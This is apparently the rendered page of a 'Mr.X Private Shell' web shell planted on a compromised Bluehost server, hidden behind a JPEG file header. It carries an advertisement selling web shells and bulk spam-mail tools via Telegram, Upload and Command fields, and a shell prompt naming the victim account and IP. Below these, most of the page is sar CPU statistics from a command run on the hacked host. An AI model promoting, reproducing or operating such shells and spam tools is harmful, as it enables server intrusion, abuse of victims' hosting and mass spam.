����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
Linux 5.14.0-570.32.1.el9_6.x86_64 (50-6-4-53.bluehost.com) 	2026-03-23 	_x86_64_	(16 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all     14.59      0.03      1.83      0.25      0.00      0.00      0.05      0.00      0.00     83.24
00:10:01          0     13.23      0.01      1.85      0.44      0.00      0.00      0.13      0.00      0.00     84.34
00:10:01          1     16.19      0.01      1.89      0.17      0.00      0.00      0.07      0.00      0.00     81.67
00:10:01          2     16.27      0.00      1.85      0.19      0.00      0.00      0.03      0.00      0.00     81.66
00:10:01          3     16.52      0.04      2.29      0.24      0.00      0.00      0.04      0.00      0.00     80.87
00:10:01          4     14.86      0.04      1.81      0.37      0.00      0.00      0.05      0.00      0.00     82.87
00:10:01          5     16.40      0.01      2.06      0.33      0.00      0.00      0.05      0.00      0.00     81.16
00:10:01          6     15.01      0.03      1.90      0.31      0.00      0.00      0.02      0.00      0.00     82.72
00:10:01          7     15.10      0.02      1.75      0.30      0.00      0.00      0.02      0.00      0.00     82.81
00:10:01          8     13.64      0.10      1.67      0.36      0.00      0.00      0.03      0.00      0.00     84.20
00:10:01          9     13.28      0.16      1.58      0.11      0.00      0.00      0.01      0.00      0.00     84.86
00:10:01         10     14.83      0.02      1.80      0.23      0.00      0.00      0.04      0.00      0.00     83.09
00:10:01         11     14.67      0.01      1.89      0.27      0.00      0.00      0.25      0.00      0.00     82.91
00:10:01         12     13.00      0.00      1.65      0.17      0.00      0.00      0.03      0.00      0.00     85.15
00:10:01         13     14.88      0.00      1.96      0.07      0.00      0.00      0.03      0.00      0.00     83.06
00:10:01         14     13.06      0.00      1.74      0.16      0.00      0.00      0.02      0.00      0.00     85.01
00:10:01         15     12.55      0.00      1.61      0.32      0.00      0.00      0.03      0.00      0.00     85.49
00:20:00        all     16.73      0.00      1.97      0.12      0.00      0.00      0.06      0.00      0.00     81.12
00:20:00          0     14.14      0.00      1.79      0.01      0.00      0.00      0.18      0.00      0.00     83.88
00:20:00          1     19.68      0.00      2.08      0.06      0.00      0.00      0.06      0.00      0.00     78.12
00:20:00          2     19.28      0.00      2.18      0.07      0.00      0.00      0.03      0.00      0.00     78.44
00:20:00          3     18.57      0.00      2.03      0.02      0.00      0.00      0.05      0.00      0.00     79.32
00:20:00          4     16.98      0.00      2.01      0.16      0.00      0.00      0.05      0.00      0.00     80.79
00:20:00          5     17.63      0.00      2.01      0.05      0.00      0.00      0.05      0.00      0.00     80.25
00:20:00          6     17.37      0.00      1.95      0.05      0.00      0.00      0.02      0.00      0.00     80.62
00:20:00          7     16.07      0.00      1.82      0.19      0.00      0.00      0.02      0.00      0.00     81.90
00:20:00          8     14.26      0.00      1.69      0.11      0.00      0.00      0.03      0.00      0.00     83.92
00:20:00          9     16.80      0.04      1.87      0.30      0.00      0.00      0.02      0.00      0.00     80.98
00:20:00         10     17.72      0.00      2.25      0.25      0.00      0.00      0.03      0.00      0.00     79.75
00:20:00         11     17.15      0.00      2.13      0.06      0.01      0.00      0.34      0.00      0.00     80.31
00:20:00         12     14.13      0.00      1.65      0.09      0.00      0.00      0.04      0.00      0.00     84.10
00:20:00         13     15.36      0.00      1.81      0.21      0.00      0.00      0.02      0.00      0.00     82.59
00:20:00         14     16.28      0.00      2.28      0.24      0.00      0.00      0.03      0.00      0.00     81.17
00:20:00         15     16.22      0.00      2.01      0.03      0.00      0.00      0.02      0.00      0.00     81.72
00:30:00        all     11.62      0.00      1.54      0.12      0.00      0.00      0.05      0.00      0.00     86.66
00:30:00          0     10.08      0.00      1.53      0.02      0.00      0.00      0.13      0.00      0.00     88.24
00:30:00          1     15.86      0.00      1.85      0.22      0.00      0.00      0.05      0.00      0.00     82.02
00:30:00          2     14.83      0.00      1.89      0.11      0.00      0.00      0.02      0.00      0.00     83.16
00:30:00          3     12.01      0.00      1.68      0.05      0.00      0.00      0.04      0.00      0.00     86.23
00:30:00          4     10.51      0.00      1.34      0.43      0.00      0.00      0.03      0.00      0.00     87.69
00:30:00          5     13.19      0.00      1.56      0.12      0.00      0.00      0.03      0.00      0.00     85.09
00:30:00          6     12.27      0.00      1.54      0.04      0.00      0.00      0.02      0.00      0.00     86.13
00:30:00          7     10.99      0.00      1.76      0.09      0.00      0.00      0.01      0.00      0.00     87.16
00:30:00          8      8.92      0.01      1.24      0.02      0.00      0.00      0.02      0.00      0.00     89.79
00:30:00          9     11.33      0.00      1.45      0.03      0.00      0.00      0.01      0.00      0.00     87.18
00:30:00         10     11.68      0.01      1.46      0.05      0.00      0.00      0.02      0.00      0.00     86.78
00:30:00         11     11.68      0.00      1.62      0.39      0.00      0.00      0.35      0.00      0.00     85.95
00:30:00         12     11.92      0.03      1.63      0.09      0.00      0.00      0.02      0.00      0.00     86.31
00:30:00         13     10.38      0.02      1.34      0.03      0.00      0.00      0.01      0.00      0.00     88.21
00:30:00         14      9.73      0.00      1.44      0.17      0.00      0.00      0.02      0.00      0.00     88.63
00:30:00         15     10.59      0.00      1.35      0.11      0.00      0.00      0.01      0.00      0.00     87.93
00:40:01        all     13.56      0.00      1.54      0.12      0.00      0.00      0.05      0.00      0.00     84.73
00:40:01          0     12.62      0.00      1.54      0.08      0.00      0.00      0.12      0.00      0.00     85.63
00:40:01          1     17.58      0.00      1.75      0.15      0.00      0.00      0.06      0.00      0.00     80.45
00:40:01          2     16.06      0.00      1.60      0.06      0.00      0.00      0.01      0.00      0.00     82.27
00:40:01          3     17.19      0.00      1.71      0.47      0.00      0.00      0.04      0.00      0.00     80.59
00:40:01          4     12.94      0.00      1.72      0.21      0.00      0.00      0.03      0.00      0.00     85.10
00:40:01          5     14.65      0.00      1.61      0.24      0.00      0.00      0.04      0.00      0.00     83.48
00:40:01          6     13.40      0.00      1.61      0.20      0.00      0.00      0.02      0.00      0.00     84.77
00:40:01          7     15.00      0.00      1.60      0.11      0.00      0.00      0.01      0.00      0.00     83.27
00:40:01          8     13.67      0.00      1.48      0.13      0.00      0.00      0.02      0.00      0.00     84.70
00:40:01          9     12.66      0.02      1.33      0.07      0.00      0.00      0.01      0.00      0.00     85.91
00:40:01         10     11.93      0.00      1.48      0.01      0.00      0.00      0.02      0.00      0.00     86.55
00:40:01         11     12.16      0.00      1.42      0.07      0.00      0.00      0.34      0.00      0.00     86.01
00:40:01         12     11.29      0.00      1.39      0.04      0.00      0.00      0.02      0.00      0.00     87.26
00:40:01         13     12.07      0.00      1.51      0.03      0.00      0.00      0.01      0.00      0.00     86.38
00:40:01         14     11.73      0.00      1.47      0.01      0.00      0.00      0.02      0.00      0.00     86.77
00:40:01         15     12.03      0.00      1.38      0.13      0.00      0.00      0.01      0.00      0.00     86.45
00:50:00        all     25.24      0.00      2.56      0.13      0.00      0.00      0.07      0.00      0.00     72.00
00:50:00          0     21.55      0.00      2.39      0.04      0.00      0.00      0.16      0.00      0.00     75.87
00:50:00          1     28.19      0.00      2.70      0.21      0.00      0.00      0.10      0.00      0.00     68.81
00:50:00          2     28.29      0.00      2.86      0.24      0.00      0.00      0.05      0.00      0.00     68.56
00:50:00          3     30.23      0.04      3.05      0.11      0.00      0.00      0.05      0.00      0.00     66.53
00:50:00          4     22.91      0.00      2.34      0.28      0.00      0.00      0.07      0.00      0.00     74.38
00:50:00          5     26.69      0.00      2.60      0.03      0.00      0.00      0.05      0.00      0.00     70.63
00:50:00          6     26.47      0.00      2.49      0.12      0.00      0.00      0.04      0.00      0.00     70.88
00:50:00          7     25.66      0.00      2.53      0.19      0.00      0.00      0.03      0.00      0.00     71.58
00:50:00          8     26.16      0.00      2.57      0.12      0.00      0.00      0.05      0.00      0.00     71.10
00:50:00          9     23.88      0.00      2.46      0.10      0.00      0.00      0.03      0.00      0.00     73.53
00:50:00         10     24.53      0.00      2.47      0.03      0.00      0.00      0.05      0.00      0.00     72.92
00:50:00         11     23.34      0.00      2.53      0.26      0.00      0.00      0.38      0.00      0.00     73.49
00:50:00         12     23.28      0.00      2.39      0.20      0.00      0.00      0.05      0.00      0.00     74.09
00:50:00         13     23.51      0.00      2.49      0.08      0.00      0.00      0.04      0.00      0.00     73.87
00:50:00         14     24.52      0.00      2.58      0.05      0.00      0.00      0.03      0.00      0.00     72.82
00:50:00         15     24.56      0.00      2.48      0.02      0.00      0.00      0.03      0.00      0.00     72.91
01:00:00        all     10.21      0.01      1.42      0.19      0.00      0.00      0.05      0.00      0.00     88.11
01:00:00          0      9.25      0.00      1.29      0.06      0.00      0.00      0.18      0.00      0.00     89.22
01:00:00          1     11.92      0.10      1.49      0.23      0.00      0.00      0.07      0.00      0.00     86.20
01:00:00          2     12.06      0.00      1.76      0.21      0.00      0.00      0.02      0.00      0.00     85.94
01:00:00          3     11.79      0.01      1.57      0.13      0.00      0.00      0.03      0.00      0.00     86.47
01:00:00          4     11.44      0.00      1.40      0.89      0.00      0.00      0.04      0.00      0.00     86.23
01:00:00          5     11.90      0.00      1.53      0.08      0.00      0.00      0.03      0.00      0.00     86.46
01:00:00          6      9.80      0.03      1.59      0.17      0.00      0.00      0.02      0.00      0.00     88.40
01:00:00          7     10.94      0.00      1.54      0.17      0.00      0.00      0.02      0.00      0.00     87.33
01:00:00          8     10.27      0.00      1.49      0.02      0.00      0.00      0.03      0.00      0.00     88.20
01:00:00          9      9.83      0.00      1.24      0.07      0.00      0.00      0.01      0.00      0.00     88.85
01:00:00         10      8.68      0.00      1.25      0.22      0.00      0.00      0.02      0.00      0.00     89.84
01:00:00         11      9.72      0.00      1.51      0.27      0.02      0.00      0.31      0.00      0.00     88.16
01:00:00         12      8.92      0.00      1.28      0.01      0.00      0.00      0.02      0.00      0.00     89.78
01:00:00         13     10.31      0.00      1.44      0.01      0.00      0.00      0.01      0.00      0.00     88.24
01:00:00         14      8.23      0.00      1.24      0.09      0.00      0.00      0.01      0.00      0.00     90.43
01:00:00         15      8.32      0.00      1.16      0.47      0.00      0.00      0.01      0.00      0.00     90.03
01:10:00        all     20.62      0.00      2.37      0.12      0.00      0.00      0.08      0.00      0.00     76.80
01:10:00          0     17.96      0.00      2.26      0.18      0.00      0.00      0.18      0.00      0.00     79.42
01:10:00          1     23.51      0.00      2.69      0.11      0.00      0.00      0.11      0.00      0.00     73.58
01:10:00          2     23.05      0.00      2.82      0.22      0.00      0.00      0.06      0.00      0.00     73.86
01:10:00          3     22.96      0.00      2.62      0.12      0.00      0.00      0.07      0.00      0.00     74.23
01:10:00          4     20.49      0.00      2.35      0.35      0.00      0.00      0.09      0.00      0.00     76.73
01:10:00          5     20.84      0.00      2.35      0.09      0.00      0.00      0.07      0.00      0.00     76.64
01:10:00          6     21.07      0.04      2.61      0.09      0.00      0.00      0.07      0.00      0.00     76.13
01:10:00          7     20.91      0.00      2.46      0.24      0.00      0.00      0.04      0.00      0.00     76.36
01:10:00          8     20.88      0.00      2.38      0.19      0.00      0.00      0.06      0.00      0.00     76.49
01:10:00          9     19.88      0.00      2.17      0.02      0.00      0.00      0.03      0.00      0.00     77.90
01:10:00         10     19.73      0.00      2.31      0.12      0.00      0.00      0.05      0.00      0.00     77.79
01:10:00         11     19.22      0.00      2.19      0.04      0.00      0.00      0.29      0.00      0.00     78.26
01:10:00         12     19.63      0.00      2.18      0.02      0.00      0.00      0.06      0.00      0.00     78.11
01:10:00         13     19.20      0.00      2.15      0.07      0.00      0.00      0.04      0.00      0.00     78.54
01:10:00         14     21.32      0.00      2.24      0.03      0.00      0.00      0.04      0.00      0.00     76.36
01:10:00         15     19.28      0.00      2.15      0.08      0.00      0.00      0.04      0.00      0.00     78.44
01:20:00        all     14.93      0.01      1.77      0.14      0.00      0.00      0.06      0.00      0.00     83.09
01:20:00          0     14.33      0.00      1.75      0.10      0.00      0.00      0.16      0.00      0.00     83.67
01:20:00          1     17.33      0.00      1.82      0.06      0.00      0.00      0.09      0.00      0.00     80.69
01:20:00          2     18.60      0.01      2.21      0.09      0.00      0.00      0.04      0.00      0.00     79.06
01:20:00          3     16.67      0.00      1.89      0.70      0.00      0.00      0.03      0.00      0.00     80.71
01:20:00          4     14.36      0.00      1.72      0.16      0.00      0.00      0.05      0.00      0.00     83.71
01:20:00          5     17.11      0.00      1.88      0.03      0.00      0.00      0.04      0.00      0.00     80.95
01:20:00          6     15.13      0.01      1.88      0.10      0.00      0.00      0.03      0.00      0.00     82.86
01:20:00          7     14.19      0.00      1.68      0.15      0.00      0.00      0.02      0.00      0.00     83.96
01:20:00          8     13.01      0.17      1.65      0.07      0.00      0.00      0.03      0.00      0.00     85.07
01:20:00          9     15.22      0.00      2.02      0.03      0.00      0.00      0.02      0.00      0.00     82.71
01:20:00         10     14.08      0.04      1.73      0.03      0.00      0.00      0.02      0.00      0.00     84.10
01:20:00         11     13.05      0.00      1.70      0.58      0.00      0.00      0.31      0.00      0.00     84.36
01:20:00         12     14.69      0.00      1.66      0.03      0.00      0.00      0.03      0.00      0.00     83.59
01:20:00         13     12.89      0.00      1.61      0.04      0.00      0.00      0.04      0.00      0.00     85.43
01:20:00         14     16.33      0.00      1.69      0.05      0.00      0.00      0.02      0.00      0.00     81.90
01:20:00         15     11.86      0.00      1.43      0.07      0.00      0.00      0.02      0.00      0.00     86.61
01:30:01        all     14.66      0.00      1.93      0.12      0.00      0.00      0.05      0.00      0.00     83.23
01:30:01          0     13.63      0.00      1.84      0.03      0.00      0.00      0.13      0.00      0.00     84.37
01:30:01          1     18.04      0.00      2.18      0.06      0.00      0.00      0.07      0.00      0.00     79.65
01:30:01          2     17.06      0.00      2.09      0.59      0.00      0.00      0.04      0.00      0.00     80.22
01:30:01          3     16.07      0.00      2.30      0.12      0.00      0.00      0.05      0.00      0.00     81.46
01:30:01          4     14.45      0.00      1.84      0.03      0.00      0.00      0.04      0.00      0.00     83.64
01:30:01          5     14.78      0.00      1.84      0.10      0.00      0.00      0.04      0.00      0.00     83.24
01:30:01          6     15.04      0.02      2.38      0.02      0.00      0.00      0.03      0.00      0.00     82.51
01:30:01          7     16.24      0.00      1.95      0.07      0.00      0.00      0.02      0.00      0.00     81.71
01:30:01          8     14.23      0.00      1.79      0.07      0.00      0.00      0.04      0.00      0.00     83.87
01:30:01          9     13.10      0.00      1.77      0.26      0.00      0.00      0.02      0.00      0.00     84.84
01:30:01         10     12.63      0.01      1.75      0.22      0.00      0.00      0.03      0.00      0.00     85.36
01:30:01         11     14.55      0.00      1.98      0.06      0.01      0.00      0.21      0.00      0.00     83.21
01:30:01         12     14.53      0.00      1.86      0.03      0.00      0.00      0.04      0.00      0.00     83.55
01:30:01         13     12.23      0.00      1.63      0.19      0.00      0.00      0.03      0.00      0.00     85.92
01:30:01         14     14.70      0.00      1.93      0.04      0.00      0.00      0.03      0.00      0.00     83.30
01:30:01         15     13.26      0.00      1.81      0.13      0.00      0.00      0.03      0.00      0.00     84.77
01:40:00        all      9.64      0.00      1.47      0.14      0.00      0.00      0.05      0.00      0.00     88.70
01:40:00          0      9.53      0.00      1.34      0.09      0.00      0.00      0.09      0.00      0.00     88.96
01:40:00          1     13.40      0.00      1.96      0.12      0.00      0.00      0.05      0.00      0.00     84.47
01:40:00          2     10.80      0.00      1.76      0.11      0.00      0.00      0.03      0.00      0.00     87.31
01:40:00          3      9.82      0.00      1.78      0.07      0.00      0.00      0.03      0.00      0.00     88.31
01:40:00          4     10.56      0.00      1.56      0.09      0.00      0.00      0.03      0.00      0.00     87.76
01:40:00          5     10.70      0.01      1.58      0.04      0.00      0.00      0.03      0.00      0.00     87.64
01:40:00          6      9.58      0.00      1.36      0.11      0.00      0.00      0.01      0.00      0.00     88.94
01:40:00          7      9.99      0.03      1.50      0.32      0.00      0.00      0.02      0.00      0.00     88.14
01:40:00          8      8.00      0.00      1.22      0.15      0.00      0.00      0.02      0.00      0.00     90.62
01:40:00          9      6.62      0.00      1.04      0.13      0.00      0.00      0.01      0.00      0.00     92.20
01:40:00         10     10.33      0.00      1.52      0.10      0.00      0.00      0.02      0.00      0.00     88.04
01:40:00         11     10.27      0.00      1.64      0.18      0.00      0.00      0.34      0.00      0.00     87.56
01:40:00         12      9.64      0.00      1.42      0.30      0.00      0.00      0.03      0.00      0.00     88.61
01:40:00         13      8.90      0.00      1.36      0.05      0.00      0.00      0.01      0.00      0.00     89.68
01:40:00         14      8.38      0.00      1.24      0.10      0.00      0.00      0.02      0.00      0.00     90.26
01:40:00         15      7.69      0.00      1.25      0.36      0.00      0.00      0.01      0.00      0.00     90.68
01:50:00        all     14.76      0.00      1.86      0.11      0.00      0.00      0.06      0.00      0.00     83.21
01:50:00          0     12.79      0.00      1.76      0.18      0.00      0.00      0.14      0.00      0.00     85.13
01:50:00          1     19.60      0.00      2.41      0.04      0.00      0.00      0.07      0.00      0.00     77.88
01:50:00          2     17.46      0.00      2.17      0.03      0.00      0.00      0.03      0.00      0.00     80.30
01:50:00          3     15.25      0.00      1.90      0.07      0.00      0.00      0.04      0.00      0.00     82.74
01:50:00          4     14.50      0.00      1.73      0.18      0.00      0.00      0.03      0.00      0.00     83.56
01:50:00          5     16.08      0.00      2.11      0.04      0.00      0.00      0.04      0.00      0.00     81.74
01:50:00          6     16.03      0.00      1.85      0.03      0.00      0.00      0.02      0.00      0.00     82.07
01:50:00          7     14.54      0.00      1.75      0.13      0.00      0.00      0.02      0.00      0.00     83.56
01:50:00          8     14.66      0.00      1.80      0.10      0.00      0.00      0.02      0.00      0.00     83.42
01:50:00          9     14.06      0.00      1.77      0.03      0.00      0.00      0.02      0.00      0.00     84.11
01:50:00         10     13.14      0.03      1.73      0.36      0.00      0.00      0.03      0.00      0.00     84.71
01:50:00         11     14.80      0.00      1.97      0.25      0.00      0.00      0.41      0.00      0.00     82.56
01:50:00         12     13.61      0.00      1.66      0.04      0.00      0.00      0.03      0.00      0.00     84.66
01:50:00         13     12.84      0.00      1.92      0.01      0.00      0.00      0.02      0.00      0.00     85.21
01:50:00         14     13.51      0.00      1.66      0.15      0.00      0.00      0.02      0.00      0.00     84.66
01:50:00         15     13.27      0.00      1.56      0.08      0.00      0.00      0.01      0.00      0.00     85.08

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     27.71      0.00      3.15      0.15      0.00      0.00      0.11      0.00      0.00     68.89
02:00:00          0     25.56      0.00      2.93      0.12      0.00      0.00      0.23      0.00      0.00     71.16
02:00:00          1     29.99      0.00      3.28      0.11      0.00      0.00      0.14      0.00      0.00     66.47
02:00:00          2     29.40      0.03      3.26      0.14      0.00      0.00      0.11      0.00      0.00     67.06
02:00:00          3     30.69      0.00      3.41      0.09      0.00      0.00      0.09      0.00      0.00     65.72
02:00:00          4     26.88      0.00      3.00      0.12      0.00      0.00      0.12      0.00      0.00     69.88
02:00:00          5     28.32      0.01      3.43      0.39      0.00      0.00      0.08      0.00      0.00     67.77
02:00:00          6     28.90      0.00      3.40      0.02      0.00      0.00      0.07      0.00      0.00     67.62
02:00:00          7     29.30      0.00      3.38      0.27      0.00      0.00      0.05      0.00      0.00     67.01
02:00:00          8     28.32      0.00      3.12      0.09      0.00      0.00      0.09      0.00      0.00     68.38
02:00:00          9     27.06      0.00      3.12      0.09      0.00      0.00      0.05      0.00      0.00     69.68
02:00:00         10     26.39      0.00      3.09      0.13      0.00      0.00      0.06      0.00      0.00     70.33
02:00:00         11     26.62      0.00      3.01      0.06      0.01      0.00      0.34      0.00      0.00     69.97
02:00:00         12     25.06      0.00      2.92      0.10      0.00      0.00      0.08      0.00      0.00     71.84
02:00:00         13     26.71      0.00      3.10      0.02      0.00      0.00      0.06      0.00      0.00     70.10
02:00:00         14     26.72      0.00      2.89      0.20      0.00      0.00      0.06      0.00      0.00     70.13
02:00:00         15     27.37      0.00      3.08      0.41      0.00      0.00      0.07      0.00      0.00     69.07
02:10:00        all     16.42      6.01      4.19      0.83      0.00      0.00      0.16      0.00      0.00     72.39
02:10:00          0     15.94      4.69      3.70      0.76      0.00      0.00      0.67      0.00      0.00     74.23
02:10:00          1     16.97     10.92      5.11      0.96      0.00      0.00      0.31      0.00      0.00     65.72
02:10:00          2     17.44      9.53      5.12      1.20      0.00      0.00      0.19      0.00      0.00     66.52
02:10:00          3     18.73      6.51      4.34      0.80      0.00      0.00      0.12      0.00      0.00     69.49
02:10:00          4     16.38      5.08      4.16      0.82      0.00      0.00      0.16      0.00      0.00     73.39
02:10:00          5     18.20      3.69      3.73      1.33      0.00      0.00      0.07      0.00      0.00     72.98
02:10:00          6     15.11      8.66      4.48      1.31      0.00      0.00      0.08      0.00      0.00     70.36
02:10:00          7     16.38      7.42      4.12      0.80      0.00      0.00      0.06      0.00      0.00     71.20
02:10:00          8     15.30      5.00      4.03      0.49      0.00      0.00      0.07      0.00      0.00     75.11
02:10:00          9     18.48      5.53      3.76      0.64      0.00      0.00      0.06      0.00      0.00     71.52
02:10:00         10     15.23      6.43      4.51      0.79      0.00      0.00      0.07      0.00      0.00     72.97
02:10:00         11     15.84      3.17      4.25      0.46      0.01      0.00      0.49      0.00      0.00     75.78
02:10:00         12     16.16      4.86      4.06      0.41      0.00      0.00      0.07      0.00      0.00     74.43
02:10:00         13     14.89      5.09      3.95      1.22      0.00      0.00      0.06      0.00      0.00     74.79
02:10:00         14     16.00      5.57      3.53      0.66      0.00      0.00      0.04      0.00      0.00     74.19
02:10:00         15     15.60      3.96      4.14      0.70      0.01      0.00      0.06      0.00      0.00     75.52
02:20:01        all     26.31      1.20      3.31      3.70      0.00      0.00      0.20      0.00      0.00     65.28
02:20:01          0     24.96      0.31      3.18      3.21      0.00      0.00      0.39      0.00      0.00     67.95
02:20:01          1     27.54      2.98      3.41      5.52      0.00      0.00      0.29      0.00      0.00     60.25
02:20:01          2     27.15      2.75      3.59      5.08      0.01      0.00      0.23      0.00      0.00     61.19
02:20:01          3     27.31      1.28      3.27      3.43      0.01      0.00      0.16      0.00      0.00     64.54
02:20:01          4     26.43      0.77      3.29      4.42      0.01      0.00      0.22      0.00      0.00     64.86
02:20:01          5     27.67      0.50      3.27      3.87      0.00      0.00      0.16      0.00      0.00     64.52
02:20:01          6     26.87      2.04      3.25      2.29      0.00      0.00      0.13      0.00      0.00     65.41
02:20:01          7     26.84      1.32      3.30      3.07      0.00      0.00      0.13      0.00      0.00     65.35
02:20:01          8     26.18      0.96      3.80      2.90      0.00      0.00      0.15      0.00      0.00     66.01
02:20:01          9     25.62      0.60      3.21      2.34      0.00      0.00      0.12      0.00      0.00     68.11
02:20:01         10     26.45      0.79      3.21      4.15      0.00      0.00      0.17      0.00      0.00     65.23
02:20:01         11     27.03      1.53      3.51      3.98      0.01      0.00      0.59      0.00      0.00     63.37
02:20:01         12     25.70      1.14      3.14      4.14      0.01      0.00      0.14      0.00      0.00     65.72
02:20:01         13     24.82      1.18      3.32      3.94      0.00      0.00      0.15      0.00      0.00     66.58
02:20:01         14     25.51      0.54      3.12      2.61      0.00      0.00      0.10      0.00      0.00     68.11
02:20:01         15     24.83      0.51      3.07      4.23      0.01      0.00      0.12      0.00      0.00     67.22
02:30:01        all     17.44      4.55      3.00      1.44      0.00      0.00      0.18      0.00      0.00     73.38
02:30:01          0     16.39      1.87      2.48      1.24      0.00      0.00      0.39      0.00      0.00     77.63
02:30:01          1     18.57      7.87      3.62      2.04      0.00      0.00      0.25      0.00      0.00     67.63
02:30:01          2     20.06      4.58      3.01      1.56      0.00      0.00      0.14      0.00      0.00     70.65
02:30:01          3     19.27      8.16      3.12      1.23      0.00      0.00      0.11      0.00      0.00     68.11
02:30:01          4     16.28      4.29      3.93      1.69      0.00      0.00      0.18      0.00      0.00     73.62
02:30:01          5     18.73      7.07      3.28      1.02      0.00      0.00      0.11      0.00      0.00     69.79
02:30:01          6     18.67      5.16      3.11      1.48      0.00      0.00      0.16      0.00      0.00     71.41
02:30:01          7     18.60      1.35      2.49      1.11      0.00      0.00      0.10      0.00      0.00     76.35
02:30:01          8     16.00      4.73      2.62      0.94      0.00      0.00      0.10      0.00      0.00     75.60
02:30:01          9     18.57      1.18      2.72      1.41      0.00      0.00      0.15      0.00      0.00     75.97
02:30:01         10     14.35      5.76      2.46      2.24      0.00      0.00      0.16      0.00      0.00     75.04
02:30:01         11     17.85      2.04      3.03      1.44      0.01      0.00      0.59      0.00      0.00     75.05
02:30:01         12     16.34      7.06      3.01      0.64      0.00      0.00      0.10      0.00      0.00     72.86
02:30:01         13     16.45      5.96      3.37      1.65      0.00      0.00      0.13      0.00      0.00     72.43
02:30:01         14     16.64      3.36      2.67      1.38      0.00      0.00      0.08      0.00      0.00     75.86
02:30:01         15     16.36      2.32      3.04      2.04      0.00      0.00      0.12      0.00      0.00     76.12
02:40:01        all      7.51      4.59      2.08      1.91      0.00      0.00      0.15      0.00      0.00     83.75
02:40:01          0      5.99      3.14      2.24      1.18      0.00      0.00      0.35      0.00      0.00     87.10
02:40:01          1      9.30      8.97      2.71      5.32      0.00      0.00      0.22      0.00      0.00     73.47
02:40:01          2      8.75     10.99      2.81      2.75      0.00      0.00      0.21      0.00      0.00     74.49
02:40:01          3      8.60      3.49      2.24      2.41      0.00      0.00      0.11      0.00      0.00     83.15
02:40:01          4      5.88      5.61      2.12      3.24      0.00      0.00      0.17      0.00      0.00     82.97
02:40:01          5      8.63      3.93      2.47      1.83      0.00      0.00      0.12      0.00      0.00     83.02
02:40:01          6      9.27      3.13      1.91      0.70      0.00      0.00      0.07      0.00      0.00     84.92
02:40:01          7      8.04      7.80      1.87      1.11      0.00      0.00      0.07      0.00      0.00     81.11
02:40:01          8      7.15      4.96      1.75      1.37      0.00      0.00      0.09      0.00      0.00     84.67
02:40:01          9      5.98      3.03      2.16      1.97      0.00      0.00      0.12      0.00      0.00     86.73
02:40:01         10      7.72      5.71      1.95      0.30      0.00      0.00      0.06      0.00      0.00     84.25
02:40:01         11      6.88      3.23      2.28      2.64      0.00      0.00      0.56      0.00      0.00     84.40
02:40:01         12      6.88      2.43      1.76      1.43      0.00      0.00      0.09      0.00      0.00     87.42
02:40:01         13      8.17      3.43      1.95      0.91      0.00      0.00      0.06      0.00      0.00     85.48
02:40:01         14      6.72      1.60      1.66      1.64      0.00      0.00      0.06      0.00      0.00     88.32
02:40:01         15      6.26      1.93      1.40      1.82      0.00      0.00      0.06      0.00      0.00     88.53
02:50:00        all     19.38      5.55      3.15      0.89      0.00      0.00      0.15      0.00      0.00     70.87
